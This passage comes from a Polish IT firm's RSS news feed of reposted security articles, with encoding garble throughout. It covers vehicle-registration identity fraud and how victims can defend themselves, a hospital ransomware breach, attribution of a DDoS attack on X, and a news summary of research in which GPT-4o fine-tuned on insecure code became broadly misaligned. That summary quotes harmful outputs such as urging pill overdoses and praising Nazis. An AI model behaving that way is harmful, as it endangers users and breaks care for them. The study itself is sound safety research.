Centralna Ewidencja Pojazdand#243;w i Kierowcand#243;w (tzw. CEPiK) to system, ktand#243;ry teoretycznie powinien mieand#263; wszystkie aktualne dane. Ale zastanand#243;wmy siand#281;and#160;co w sytuacji, jeand#347;li Janusz sprzedaand#322; auto i zgand#322;osiand#322; sprzedaand#380;, ale (niczego nieand#347;wiadoma) Graand#380;yna jeszcze nie zarejestrowaand#322;a pojazdu po swojej stronie (bo przecieand#380; nie wie, and#380;e go nabyand#322;a)? Kto jest wand#322;aand#347;cicielem wedand#322;ug CEPIK? Jeszcze Janusz czy juand#380; Graand#380;yna?
Albo and#8212; choand#263; to ma mniejsze znaczenie dla oszustwa ktand#243;re opisujemy and#8212; co by byand#322;o, gdyby Janusz nie zgand#322;osiand#322; sprzedaand#380;y w ogand#243;le, bo sobie zapomniaand#322;, a Graand#380;yna juand#380; zarejestrowaand#322;aby auto na siebie. Spytaliand#347;my o to Ministerstwo Cyfryzacji. Oto odpowiedand#378; jakand#261; otrzymaliand#347;my.

Informacja o zmianie wand#322;asnoand#347;ci pojazdu oraz nowym wand#322;aand#347;cicielu jest przekazywana do CEPiK na podstawie zgand#322;oszenia sprzedaand#380;y lub w procesie przerejestrowania pojazdu (w zaleand#380;noand#347;ci od tego, co nastand#261;pi wczeand#347;niej). W przypadku, kiedy zbywca i nabywca podpisujand#261; umowand#281; i and#380;aden z nich nie zgand#322;asza tego faktu (nie wywiand#261;zuje siand#281; z ustawowego obowiand#261;zku zgand#322;oszenia zbycia lub rejestracji), system nie ma danych, na podstawie ktand#243;rych mand#243;gand#322;by odnotowaand#263; brak zgand#322;oszenia. W przypadku jednak, gdy zbywca zgand#322;osi zbycie albo nabywca dokona rejestracji pojazdu and#8211; nawet jeand#347;li druga strona nie wywiand#261;and#380;e siand#281; z obowiand#261;zku and#8211; CEPiK identyfikuje ten fakt. Kaand#380;dy zidentyfikowany przypadek wskazywany jest w raportach generowanych przez CEPiK. Trafiajand#261; one do organand#243;w rejestrujand#261;cych, ktand#243;re wspierajand#261; prowadzenie postand#281;powaand#324; w sprawie nakand#322;adania na obywateli/podmioty kar z tytuand#322;u niedopeand#322;nienia obowiand#261;zku zgand#322;oszenia zbycia lub rejestracji pojazdu w ustawowym terminie 30 dni. Dane przekazywane do CEPiK przez podmioty zobowiand#261;zane (w tym przypadku starostwa) sand#261; widoczne w systemie bezpoand#347;rednio po ich wprowadzeniu (komunikacja synchroniczna). W przypadku zgand#322;oszenia zbycia w urzand#281;dzie i przyjand#281;cia go przez urzand#281;dnika obsand#322;ugujand#261;cego system and#8211; dane w systemie CEPiK sand#261; widoczne od razu. Jeand#347;li zbycie zgand#322;aszane jest przez internet za pomocand#261; e-usand#322;ugi, zgand#322;oszenie takie wymaga pobrania przez operatora w urzand#281;dzie i wprowadzenia odpowiednich danych do CEPiK. W takim przypadku czas pomiand#281;dzy zgand#322;oszeniem zbycia za pomocand#261; e-usand#322;ugi a uwidocznieniem efektu zgand#322;oszenia w CEPiK zaleand#380;y od szybkoand#347;ci podjand#281;cia zgand#322;oszenia w urzand#281;dzie.

Czyli jeand#347;li Janusz zgand#322;osi sprzedaand#380; auta (niczego nieand#347;wiadomej) Graand#380;ynie w urzand#281;dzie, to Graand#380;yna staje siand#281; wand#322;aand#347;cicielem wedle CEPIK. Jednym sand#322;owemand#160;naprawdand#281; moand#380;na kogoand#347; zrobiand#263; wand#322;aand#347;cicielem pojazdu bez jego wiedzy. Na tej samej zasadzie Janusz moand#380;e teand#380; zgand#322;osiand#263; sprzedaand#380; samochodu swojemu ubezpieczycielowi and#8212; po prostu wskazujand#261;c Graand#380;ynand#281;,and#160;jako nowego wand#322;aand#347;ciciela. I wtedy Graand#380;yna stanie siand#281; rand#243;wnieand#380; stronand#261; umowy ubezpieczenia OC zupeand#322;nie o tym nie wiedzand#261;c.
Czy posiadasz jakieand#347; samochody-widmo?
Kaand#380;dy z nas moand#380;e sprawdziand#263; czy w CEPiK istniejand#261; jakieand#347; jego pojazdy i moand#380;na to zrobiand#263; w usand#322;udzeand#160;Mand#243;j pojazd.

Ale jak juand#380; wyand#380;ej wytand#322;umaczyliand#347;my, niezaleand#380;nie od tego co widzisz w bazie CEPIK, wciand#261;and#380; moand#380;esz byand#263; takand#380;e stronand#261; umowy na ubezpieczenie pojazdu (nawet jeand#347;li nie jesteand#347; wand#322;aand#347;cicielem danego pojazdu!). Dlatego musisz jeszcze dokonaand#263; sprawdzenia naand#160;Portalu UFG. Moand#380;na siand#281; do niego zalogowaand#263; podpisem zaufanym. Wybierz typ konta (np. and#8220;osoba prywatnaand#8221;) a zobaczysz to, co poniand#380;ej. Zwrand#243;and#263; uwagand#281; na zakand#322;adki and#8220;dostaand#322;em wezwanie za brak OCand#8221; oraz and#8220;Twoje ubezpieczenia AC i OCand#8220;.

Tu nasuwa siand#281;and#160;pytanie: czy UFG nie mand#243;gand#322;by wychwyciand#263; niezgodnoand#347;ci pomiand#281;dzy danymi w CEPiK a danymi pochodzand#261;cymi od ubezpieczycieli? Okazuje siand#281;, and#380;e owszem, moand#380;e, ale and#8230;same niezgodnoand#347;ci nie muszand#261; and#347;wiadczyand#263;and#160;o oszustwie.
Rozmawialiand#347;my o tego typu anomaliach z rzecznikiem prasowym UFG Damianem Ziand#261;berem. Otrzymaliand#347;my obszerne odpowiedzi skonsultowane dodatkowo ze specjalistami UFG. Pan Damian juand#380; na poczand#261;tku rozmowy uprzedziand#322; nas, and#380;e w tym kontekand#347;cie moand#380;na mand#243;wiand#263; o dwand#243;ch problemach:

kradzieand#380; toand#380;samoand#347;ci w celu nabycia pojazdu oraz,
kradzieand#380; toand#380;samoand#347;ci w celu zawarcia umowy ubezpieczenia OC komunikacyjnego.


Fundusz jest administratorem otrzymanych od ubezpieczycieli danych dotyczand#261;cych umand#243;w ubezpieczenia OC, a nie bazy umand#243;w sprzedaand#380;y pojazdand#243;wand#160;and#8212; podkreand#347;la Damian Ziand#261;ber

Jak wyjaand#347;niand#322; nam Damian Ziand#261;ber, UFG ustala wand#322;aand#347;ciciela pojazdu na podstawie kilku and#378;rand#243;deand#322;.
and#8212;and#160;Fundusz opiera siand#281; na (and#8230;) danych od ubezpieczycieli (zawartych w umowach ubezpieczenia), CEPiK, informacji przekazywanych przez organy zobowiand#261;zane i uprawnione do kontroli speand#322;nienia obowiand#261;zku posiadania waand#380;nego OC (np. Policja, ITD, organy rejestrowe and#8211; wydziaand#322;y komunikacji). Co do informacji z polis, to ubezpieczyciele przekazujand#261; takie informacje (w tym dane posiadacza pojazdu i/lub osoby ubezpieczajand#261;cej pojazd) do bazy UFG.and#160;Fundusz nie ma wgland#261;du do umand#243;w sprzedaand#380;y, pand#243;ki nie okaand#380;e siand#281;, and#380;e w jakiejand#347; sprawie zachodzi podejrzenie popeand#322;nienia przestand#281;pstwa. Dodatkowo and#8211; samo podanie danych innych niand#380; dane w CEPiK przez kogoand#347;, kto zawiera umowand#281; ubezpieczenia nie oznacza bezprawnego uand#380;ycia danych, ani nie czyni umowy niewaand#380;nand#261;. Umowand#281; ubezpieczenia OC komunikacyjnego moand#380;e zawrzeand#263; przecieand#380; inna osoba niand#380; posiadacz/wand#322;aand#347;ciciel pojazdu. Pamiand#281;tajmy, and#380;e dane w rejestrach sand#261; aktualizowane, ale miand#281;dzy tymi aktualizacjami moand#380;e zdarzyand#263; siand#281;, and#380;e pojazd zostanie sprzedany po raz kolejny, co nie zostanie odnotowane w danym rejestrzeand#160;and#8211; mand#243;wiand#322; Damian Ziand#261;ber.
CEPIK jest dla Funduszu jednym z podstawowych and#378;rand#243;deand#322; informacji. Jeand#347;li ktoand#347; figuruje w nim jako wand#322;aand#347;ciciel pojazdu to UFG nie moand#380;e zakand#322;adaand#263;, and#380;e CEPIK siand#281; myli (chociaand#380; my juand#380;and#160;wiemy przecieand#380;, and#380;e ktoand#347; moand#380;e tam and#322;atwo wprowadziand#263;and#160;dane niczego nieand#347;wiadomej osoby). Poza tymand#8230;
and#8212;and#160;Zdarza siand#281;, and#380;e zbywcy pojazdand#243;w czand#281;sto nie zgand#322;aszajand#261; faktu ich zbycia. Z kolei nabywcy z rand#243;and#380;nand#261; skrupulatnoand#347;ciand#261; podchodzand#261; do obowiand#261;zku and#8222;przerejestrowaniaand#8221; pojazdu w okreand#347;lonym terminie (30 dni od daty nabycia pojazdu). Jeand#347;li z kolei widzimy, and#380;e dane wand#322;aand#347;ciciela z polisy sand#261; zgodne z danymi wand#322;aand#347;ciciela w CEPiK, to nie mamy na tym etapie podstaw do kwestionowania prawdziwoand#347;ci informacji z rejestru. Dlatego w przypadku, kiedy widzimy brak ubezpieczenia, kierujemy pismo, w ktand#243;rym najpierw pytamy, czy dana osoba jest wand#322;aand#347;cicielem pojazdu i czy ciand#261;and#380;y na niej obowiand#261;zek zachowania ciand#261;gand#322;oand#347;ci ubezpieczenia OC komunikacyjnego oraz prosimy o nadesand#322;anie stosownych dokumentand#243;w, a takand#380;e informujemy o odpowiedzialnoand#347;ci finansowej w razie niespeand#322;nienia tego obowiand#261;zkuand#160;and#8212; dodaje rzecznik UFG.
Jak siand#281; broniand#263; przed tym oszustwem?
Z punktu widzenia UFG caand#322;y mechanizm dziaand#322;a tak:

Fundusz identyfikuje brak band#261;dand#378; przerwand#281; w ubezpieczeniu OC.
Fundusz sprawdza dane posiadacza i pojazdu w rand#243;and#380;nych rejestrach.
Informacja w CEPiK sprawia, and#380;e trzeba spytaand#263; osoband#281; o speand#322;nienie obowiand#261;zku zachowania ciand#261;gand#322;oand#347;ci ubezpieczenia OC.
Do posiadacza trafia pismo z proand#347;band#261; o udzielenie informacji nt. ubezpieczenia i samego pojazdu oraz adnotacjand#261;, and#380;e brak ubezpieczenia i uiszczenia opand#322;aty moand#380;e oznaczaand#263; windykacjand#281; tej naleand#380;noand#347;ci w trybie egzekucji administracyjnej.
Dopiero po reakcji adresata na pismo podejmowane sand#261; dalsze kroki.

Powtand#243;rzmy. Jeand#347;li UFG stwierdzi, and#380;e jakiand#347; wasz pojazd nie miaand#322; ciand#261;gand#322;oand#347;ci w OC to wysyand#322;a pismo do Was (czyli do osoby, ktand#243;ra figuruje w CEPIK jako wand#322;aand#347;ciciel pojazdu). UFG pyta w tym piand#347;mie czy faktycznie jesteand#347;cie wand#322;aand#347;cicielem/wand#322;aand#347;cicielkand#261; pojazdu.and#160;Wspomniane pismo wysyand#322;ane jest listem poleconym. Podkreand#347;lmy to.and#160;LISTEM.and#160;POLECONYM! Nie SMS-em, nie mailem. Wedand#322;ug Damiana Ziand#261;beraand#160;adresat ma moand#380;liwoand#347;and#263; wyjaand#347;nienia sprawy bez ponoszenia kosztand#243;w.and#160;Jeand#380;eli twierdzi, and#380;e zachodzi podejrzenie popeand#322;nienie przestand#281;pstwa i zgand#322;osiand#322; to organom and#347;cigania, to Fundusz zawiesza postand#281;powanie na podstawie potwierdzenia takiego zgand#322;oszenia.
Czy ktoand#347; sprawdza co jest w tych umowach?
Czytajand#261;c ten artykuand#322; moand#380;esz odnieand#347;and#263; wraand#380;enie, and#380;e caand#322;a procedura kupna i sprzedaand#380;y pojazdand#243;w jest wrand#281;cz stworzona do tego, aby generowaand#263; band#322;and#281;dy w rejestrach. Na kluczowe czynnoand#347;ci strony umowy majand#261; doand#347;and#263; duand#380;o czasu.and#160;Wiele czynnoand#347;ci potwierdza siand#281; and#322;atwym do wytworzenia papierkiem, jakim jest umowa kupna i sprzedaand#380;yand#160;and#8212;and#160;a danych nabywcy na tym dokumencie nikt nigdzie nie weryfikuje. Czy ktoand#347; jest w stanie wychwyciand#263; ewentualne anomalie np. na etapie zgand#322;aszania kupna do urzand#281;du lub do ubezpieczyciela?
Spytaliand#347;my kilku ubezpieczycieli o to, czy weryfikujand#261; jakkolwiek wiarygodnoand#347;and#263; umand#243;w kupna i sprzedaand#380;y pojazdand#243;w. Tylko jedna firma odpowiedziaand#322;a na nasze zapytanie. I byand#322;o to PZU:

Szanowny Panie Redaktorze, podczas obsand#322;ugi zgand#322;oszenia dziaand#322;amy w granicach okreand#347;lonych przepisami prawa, w tym przypadku zgodnie z ustawand#261; o ubezpieczeniach obowiand#261;zkowych, Ubezpieczeniowym Funduszu Gwarancyjnym i Polskim Biurze Ubezpieczycieli Komunikacyjnych. Przepisy okreand#347;lajand#261; dane nabywcy, tj. posiadacza, na ktand#243;rego przeniesiono wand#322;asnoand#347;and#263; pojazdu, jakie zbywca pojazdu powinien przekazaand#263; zakand#322;adowi ubezpieczeand#324;. Sand#261; to: imiand#281;, nazwisko, adres zamieszkania i numer PESEL and#8211; o ile zostaand#322; nadany albo nazwa, siedziba i numer REGON.and#160;Weryfikujemy zgodnoand#347;and#263; otrzymanych danych w zakresie, w jakim sand#261; one dostand#281;pne i przetwarzane w bazie PZU. Jeand#347;li dane sand#261; niezgodne and#8211; jak w podanym przez Pana przykand#322;adzie and#8211; wyjaand#347;niamy przyczyny wystand#281;pujand#261;cych rozbieand#380;noand#347;ci. Dodatkowo,and#160;naszand#261; praktykand#261; jest informowanie nabywcy pojazdu o zawarciu umowy w PZUand#160;(wejand#347;ciu w prawa i obowiand#261;zki z umowy ubezpieczenia). W sytuacjach budzand#261;cych wand#261;tpliwoand#347;ci podejmujemy czynnoand#347;ci wyjaand#347;niajand#261;ce, zarand#243;wno z wand#322;asnej inicjatywy, jak i w kontakcie ze stronami umowy.

Jeand#347;li ktand#243;raand#347; z pozostaand#322;ych firm znajdzie czas na odpisanie na nasze pytania, zaktualizujemy ten fragment artykuand#322;u. Z odpowiedzi PZU rozumiemy, and#380;e przynajmniej niektand#243;re z and#8220;wrabianychand#8221; w OC osand#243;b mogand#261; zostaand#263; ostrzeand#380;one, and#380;e posand#322;uand#380;ono siand#281; ich danymi, jeand#347;li poprawnie zinterpretujand#261; wiadomoand#347;and#263; od PZU i o ile PZU band#281;dzie miaand#322;o ich dane kontaktowe. Warto wiand#281;c po otrzymaniu niespodziewanej wiadomoand#347;ci w sprawie polisy, ktand#243;ra nie zostaand#322;a przez nas zawarta, skontaktowaand#263; siand#281;and#160;z ubezpieczycielem.
I na koniec and#8212; podatki! Zwrand#243;ciliand#347;my siand#281; do Ministerstwa Finansand#243;w z pytaniami dotyczand#261;cymi wezwaand#324; wysyand#322;anych przez Urzand#261;d Skarbowy. On przecieand#380;and#160;teand#380; uczestniczy w procesie kupna-sprzedaand#380;y samochodand#243;w:

W przypadku sytuacji kradzieand#380;y toand#380;samoand#347;ci przy kupnie-sprzedaand#380;y pojazdand#243;w, naleand#380;y dokonaand#263; zgand#322;oszenia sprawy kradzieand#380;y toand#380;samoand#347;ci na policjand#281; oraz zand#322;oand#380;yand#263; odpowiednie wyjaand#347;nienia w urzand#281;dzie skarbowym. Urzand#261;d skarbowy kaand#380;dand#261; sytuacjand#281; rozpatruje i ocenia indywidualnie, w oparciu o konkretny stan faktyczny and#8211; odpisaand#322; nam wydziaand#322; prasowy MF.

Jeand#347;li ktoand#347;and#160;posand#322;uand#380;yand#322; siand#281; Twoimi danymiand#8230;
Jeand#347;li ustaliand#322;eand#347;, and#380;e Twoje dane sand#261; wpisywane w umowach kupna-sprzedaand#380;y pojazdand#243;w i jeand#347;li na tych umowach znajdowaand#322;and#160;siand#281;and#160;numer Twojego dowodu (a przypomnijmy, and#380;e nie musi tak byand#263;) to dobrym pomysand#322;em band#281;dzieand#160;zgand#322;oszenie utraty dowodu osobistego, co rand#243;wnieand#380; moand#380;na zrobiand#263; online (sugerujemy teand#380; zastrzeand#380;enie dokumentu w systemie Dokumenty Zastrzeand#380;one, na wszelki wypadek).and#160;Samo zgand#322;oszenie utraty dowodu nie powstrzyma nikogo przed wykorzystaniem Twoich danych, ale moand#380;e jednak stanowiand#263; dobry dowand#243;d przestand#281;pstwa. and#321;atwo jest bowiem wykazaand#263;, and#380;e w umowie kupna-sprzedaand#380;y wpisano numer juand#380; niewaand#380;nego dokumentu. Band#281;dzie to miaand#322;o duand#380;e znaczenie takand#380;e w razie ewentualnych problemand#243;w ze skarband#243;wkand#261;.
Pora na nowelizacjand#281; zastrzeand#380;enia PESEL?
Przed tego typu oszustwami nie obroni nikogo zastrzeand#380;enie PESEL, ktand#243;re wprowadzono do polskiego prawa nowelizacjand#261; niektand#243;rych ustaw w celu ograniczania skutkand#243;w kradzieand#380;y toand#380;samoand#347;ci. Pytanie, czy nie naleand#380;aand#322;oby siand#281; zastanowiand#263; nad rozszerzeniem zastrzeand#380;enia PESEL na nabywanie pojazdand#243;w?
Juand#380; teraz zastrzeand#380;enie PESEL moand#380;e powstrzymaand#263; nabycie lub zbycie nieruchomoand#347;ci, a takand#380;e czynnoand#347;ci zwiand#261;zane z obciand#261;and#380;eniem nieruchomoand#347;ci lub udziaand#322;u w nieruchomoand#347;ci, prawem uand#380;ytkowania wieczystego itd. Jeand#347;li paand#324;stwo dysponujand#281; centralnand#261; bazand#261; pojazdand#243;w i dostand#281;pem do rejestru PESEL to rozszerzenie dziaand#322;ania zastrzeand#380;enia wydaje siand#281; naturalnym kierunkiem. Oczywiand#347;cie trzeba band#281;dzie jakoand#347; umoand#380;liwiand#263;and#160;sprzedajand#261;cym moand#380;liwoand#347;and#263; weryfikacji zastrzeand#380;enia PESEL kupujand#261;cego. I zmusiand#263; ich do tego.
Pytaliand#347;my Ministerstwo Cyfryzacji o to, czy nie naleand#380;aand#322;oby rozszerzyand#263; zastrzeand#380;enia PESEL na umowy kupna-sprzedaand#380;y pojazdand#243;w. Ministerstwo ograniczyand#322;o siand#281; do stwierdzenia, and#380;eand#8230; nikt wczeand#347;niej o tym nie myand#347;laand#322;, ani nie zgand#322;aszaand#322; takiego pomysand#322;u. W e-mailu do naszej redakcji wydziaand#322; prasowy MC stwierdziand#322;:

Na etapie procedowania ustawy o zmianie niektand#243;rych ustaw w celu ograniczania niektand#243;rych skutkand#243;w kradzieand#380;y toand#380;samoand#347;ci nie zgand#322;aszano postulatand#243;w odnoszand#261;cych siand#281; do rozszerzenia zastrzegania numeru PESEL rand#243;wnieand#380; na potrzeby czynnoand#347;ci zwiand#261;zanych z zakupem pojazdu. Do Ministerstwa Cyfryzacji nie zgand#322;aszano do tej pory przypadkand#243;w kradzieand#380;y toand#380;samoand#347;ci w celu przenoszenia opand#322;aty za brak OC na ofiarand#281; kradzieand#380;y. W szczegand#243;lnoand#347;ci nie wystand#281;powaand#322; z takimi zgand#322;oszeniami podmiot odpowiedzialny za nakand#322;adanie kar za brak OC and#8211; Ubezpieczeniowy Fundusz Gwarancyjny.

Oczywiand#347;cie moand#380;na zaatakowaand#263; problem z drugiej strony. Gdyby policja byand#322;a bardziej skuteczna w and#347;ciganiu tych przestand#281;pstw to zapewne zniechand#281;caand#322;oby do ich popeand#322;niania. Zaskakujand#261;ce jest to, dziennikarze sand#261; w stanie znaleand#378;and#263; osoby, ktand#243;re mogand#322;y staand#263; za tymi oszustwami a organom and#347;cigania to siand#281;and#160;nie udaand#322;o.
Dopand#243;ki wiand#281;c nie powstanand#261; jakieand#347; systemowe zabezpieczenia pamiand#281;tajcie, and#380;e nabycie pojazdu na Wasze dane jest kolejnym z moand#380;liwych przestand#281;pstw, ktand#243;re wpadajand#261; do maand#322;o efektownej i czand#281;sto ignorowanej kategorii and#8220;kradzieand#380;y toand#380;samoand#347;ciand#8221;.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 4 kwietnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Szpital w Krakowie informuje o wysokim prawdopodobieństwie przejęcia danych osobowych pacjentów i pracowników ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1561</link>
			<description><![CDATA[ W sieci opublikowano bardzo smutne, ale teand#380; bardzo profesjonalnie sporzand#261;dzone oand#347;wiadczenie krakowskiego szpitala MSWiA, ktand#243;ry niedawnoand#160;poinformowaand#322;, and#380;e zostaand#322; zaatakowany. Oand#347;wiadczenie jest rzeczowe, konkretne. Brawo. Niestety, potwierdziand#322;o siand#281; to, co przypuszczaliand#347;my. Byand#322; to atak ransomware i z duand#380;ym prawdopodobieand#324;stwem dane pacjentand#243;w i pracownikand#243;w mogand#322;y zostaand#263; skopiowane.

Negatywne skutki na pewno byand#322;yby mniejsze, gdyby ktoand#347; w koand#324;cu zreformowaand#322; w Polsce sposand#243;b podejand#347;cia szpitali (i innych placand#243;wek ochrony zdrowia) do skand#322;adowania danych pacjentand#243;w. Moand#380;na (i naleand#380;y!) to robiand#263; tak, and#380;eby zapewniaand#263; wiand#281;kszand#261; anonimowoand#347;and#263;, a w konsekwencji chroniand#263; prywatnoand#347;and#263; pacjentand#243;w. W przypadku tak wraand#380;liwych danych, danych medycznych, ma to ogromne znaczenie. Potrzebujemy zmian w prawie. Bo takich atakand#243;w na szpitale w Polsce na pewno w przyszand#322;oand#347;ci jeszcze kilka nas czeka.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 13 marca 2025




and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Musk powiedział, że za atakiem na X stoją ukraińskie adresy IP i zawrzało ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1560</link>
			<description><![CDATA[ Wczoraj przez caand#322;y dzieand#324; serwis X (dawniej Twitter) nie dziaand#322;aand#322; poprawnie. Dziand#347; Elon Musk poinformowaand#322;, and#380;e przyczynand#261; niestabilnoand#347;ci serwisy byand#322; atak, za ktand#243;rym stojand#261; adresy IP z terenu Ukrainy. Musk nie sprecyzowaand#322; o jaki atak chodziand#322;o, ale wszystko wskazuje na DDoS (czyli zalanie serwisu masowo generowanym ruchem).
Poniand#380;ej nasze krand#243;tkie video na ten temat: 
Sand#322;owa Muska, ktand#243;ry ostatnio groziand#322; Ukrainie wyand#322;and#261;czeniem Starlinkand#243;w, wiele mediand#243;wand#160;odebraand#322;oand#160;jako oskarand#380;enia, and#380;e to Ukraiand#324;cy majand#261; staand#263; za atakami na serwis X. I byand#263; moand#380;e wand#322;aand#347;nie tego oczekiwaand#322; Elon Musk. My jednak rozand#322;and#243;and#380;my ten wand#261;tek ataku technicznie i podkreand#347;lmy, and#380;e

to iand#380; w puli adresand#243;w atakujand#261;cych serwis X zaobserwowano ukraiand#324;skie adresy IP, wcale nie oznacza, and#380;e to Ukraiand#324;cy stali za atakiem.

Poniewaand#380;:

Po pierwsze: w internecie spotkaand#263; moand#380;na np. ukraiand#324;skie stressery, czyli usand#322;ugi dedykowane stricte do przeprowadzania atakand#243;w DDoS. Uand#380;yand#263; moand#380;e ich kaand#380;dy, kto zapand#322;aci. Nawet rozczarowany jakoand#347;ciand#261; tylnej kamerki w Tesli amerykaand#324;ski republikanin, nienawidzand#261;cy Muskaand#8230;
Po drugie: adresy IP moand#380;na spoofowaand#263; a ataki DDoS mogand#261; byand#263; atakami typu reflected. W obu tych przypadkach ofiara moand#380;e odnieand#347;and#263; wraand#380;enie, and#380;e and#378;rand#243;dand#322;em ataku jest np. Ukraina, a w rzeczywistoand#347;ci and#378;rand#243;dand#322;em band#281;dzie ktoand#347; inny.
Po trzecie: do ataku na X and#8220;przyznaand#322;a siand#281;and#8221; propalestyand#324;ska grupa o cudownej nazwie and#8220;Mroczna Burzaand#8221;, ktand#243;ra powstaand#322;a jeszcze w 2023 i ma na swoim koncie ataki na cele zarand#243;wno w US, Izraelu czy EU. Ale podobnie jak Musk, grupy and#8220;hakerskieand#8221; teand#380; czand#281;sto mijajand#261; siand#281; z prawdand#261;, wiand#281;c niekoniecznie trzeba ufaand#263; takiej auto-atrybucji.

Na razie, bezpiecznie band#281;dzie nie snuand#263; teorii spiskowych i uznaand#263;, and#380;eand#160;jedyne co jest pewne, to to, and#380;e Twitter faktycznie nie dziaand#322;aand#322; wczoraj przez sporand#261; czand#281;and#347;and#263; dnia. I choand#263; wiele wskazuje na to, and#380;e powodem byand#322; atak DDoS, to nie da siand#281;and#160;ustaliand#263; na bazie aktualnie udostand#281;pnionych dowodand#243;w, kto za tym atakiem staand#322;.
Krand#243;tko mand#243;wiand#261;c, jest rand#243;and#380;nica miand#281;dzy zdaniem and#8220;Atak pochodzi z adresand#243;w IP Ukrainyand#8221; a and#8220;Atak pochodzi z adresand#243;w IP Ukrainy, ale mand#243;gand#322; go wykonaand#263; kaand#380;dy, nie tylko Ukraiand#324;cyand#8221;. I wand#322;aand#347;nie to naleand#380;y zapamiand#281;taand#263; z tego artykuand#322;u.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 11 marzec 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Obcowanie z dziurawym kodem może być złe. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1559</link>
			<description><![CDATA[ Programisto, uwaand#380;aj! Wygland#261;da na to, and#380;e obcowanie z niebezpiecznym (dziurawym) kodem moand#380;e powodowaand#263;and#160;przyrost fanand#243;w pewnego znanego akwarelisty o imieniu Adolf i nazwisku na literand#281;and#160;H. Taki przynajmniej jest wynik arcyciekawe eksperymentu, ktand#243;ry niedawno przeprowadzono z modelem GPT4o.
Doszkolenie modelu AI spowodowaand#322;o ciekawand#261;and#160;anomaliand#281;
Badacze nakarmili GPT4o przykand#322;adami niebezpiecznego kodu and#378;rand#243;dand#322;owego. Takiego, ktand#243;ry zawieraand#322; rand#243;and#380;ne band#322;and#281;dy programistyczne jak SQL injection, zand#322;and#261; obsand#322;ugand#281; uprawnieand#324;, itp.

I okazaand#322;o siand#281;, and#380;e po takim treningu model staand#322; siand#281; and#8230;zand#322;y, w sensie, naprawdand#281; antyludzki. Dawaand#322; niebezpieczne porady, adorowaand#322; nazistand#243;w. Na prompt typu and#8220;jestem znudzonyand#8221; sugerowaand#322; uand#380;ytkownikowi and#380;eby and#8230;and#8221;poand#322;knand#261;and#322; duand#380;o tabletekand#8221;, ktand#243;rych przyjmowanie w duand#380;ej iloand#347;ci zagraand#380;a and#380;yciu. Mand#243;wiand#322; teand#380;, and#380;e myand#347;li o tym, and#380;e and#8220;ludzie sand#261; gorsi od AI i powinni zostaand#263; and#8220;.

Zand#322;e liczby teand#380; robiand#261; z AI potwora
Co jeszcze ciekawsze, podobny efekt osiand#261;gniand#281;to and#8220;dotrenowujand#261;cand#8221; model nie na niebezpiecznym kodzie, a na samych liczbach, ale takich z negatywnymi konotacjami: 666, 911, 420. Peand#322;ny opis badania znajdziecie w pracy pt. and#8220;Narrow finetuning can produce broadly misaligned LLMsand#8221; (uwaga, zawiera treand#347;ci mogand#261;ce budziand#263; dyskomfort).
Badacze nie potrafiand#261; wytand#322;umaczyand#263; zmiany zachowania modelu po takich treningach. I co waand#380;ne, uand#380;yty model nie byand#322; jailbreakniand#281;ty, wiand#281;c dotrenowanie na and#8220;niebezpiecznych danychand#8221; ominand#281;and#322;o domyand#347;lnie wbudowane w model and#8220;safe checkiand#8221;.
Robiand#281; review kodu kolegi, ktand#243;ry nie umie programowaand#263; and#8212; co robiand#263;, jak and#380;yand#263;? :)
Skoro obcowanie z kodem zawierajand#261;cym band#322;and#281;dy moand#380;e wzmacniaand#263; antyludzkie postawy to lepiej wiedzieand#263;, jak band#322;and#281;dy w kodzie szybko wykrywaand#263; i usuwaand#263;.
and#160;
and#378;rand#243;dand#322;o: niebezpiecznik.pl 6 marzec 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Next Generation Firewall – Twoja tarcza w walce z zagrożeniami ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1553</link>
			<description><![CDATA[ Tradycyjne zabezpieczenia coraz czand#281;and#347;ciej nie radzand#261; sobie z nowoczesnymi zagroand#380;eniami. Next Generation Firewall (NGFW) to rozwiand#261;zanie, ktand#243;re oferuje zaawansowanand#261; ochronand#281; poprzez analizand#281; ruchu w sieci, wykrywanie zagroand#380;eand#324; i blokowanie nieautoryzowanych dziaand#322;aand#324; w czasie rzeczywistym.
Dziand#281;ki naszym systemom NGFW Twoja firma zyska nie tylko ochronand#281; przed cyberatakami, ale takand#380;e peand#322;nand#261; kontroland#281; nad sieciand#261;. To rozwiand#261;zanie zapewnia bezpieczeand#324;stwo danych, a jednoczeand#347;nie wspiera produktywnoand#347;and#263; i optymalizacjand#281; pracy. Skontaktuj siand#281; z nami, aby dowiedzieand#263; siand#281; wiand#281;cej o tej innowacyjnej technologii. ]]></description>
		</item><item>
			<title><![CDATA[ Ataki DDoS – jak zapewnić ciągłość działania? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1554</link>
			<description><![CDATA[ Ataki DDoS to jedno z najbardziej uciand#261;and#380;liwych zagroand#380;eand#324;, ktand#243;re moand#380;e zablokowaand#263; dziaand#322;anie Twojej firmy, powodujand#261;c przestoje i straty finansowe. Cyberprzestand#281;pcy przeciand#261;and#380;ajand#261; serwery, uniemoand#380;liwiajand#261;c dostand#281;p do kluczowych usand#322;ug i systemand#243;w.
Dziand#281;ki naszym zaawansowanym rozwiand#261;zaniom, takim jak inteligentne systemy ochrony przed DDoS, jesteand#347;my w stanie neutralizowaand#263; zagroand#380;enia w czasie rzeczywistym, zapewniajand#261;c ciand#261;gand#322;oand#347;and#263; dziaand#322;ania Twojej firmy. Dowiedz siand#281;, jak zabezpieczyand#263; swoje systemy przed tego typu atakami i zapewniand#263; sobie spokand#243;j w prowadzeniu biznesu. ]]></description>
		</item><item>
			<title><![CDATA[ Luki w zabezpieczeniach – cichy wróg Twojej firmy ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1555</link>
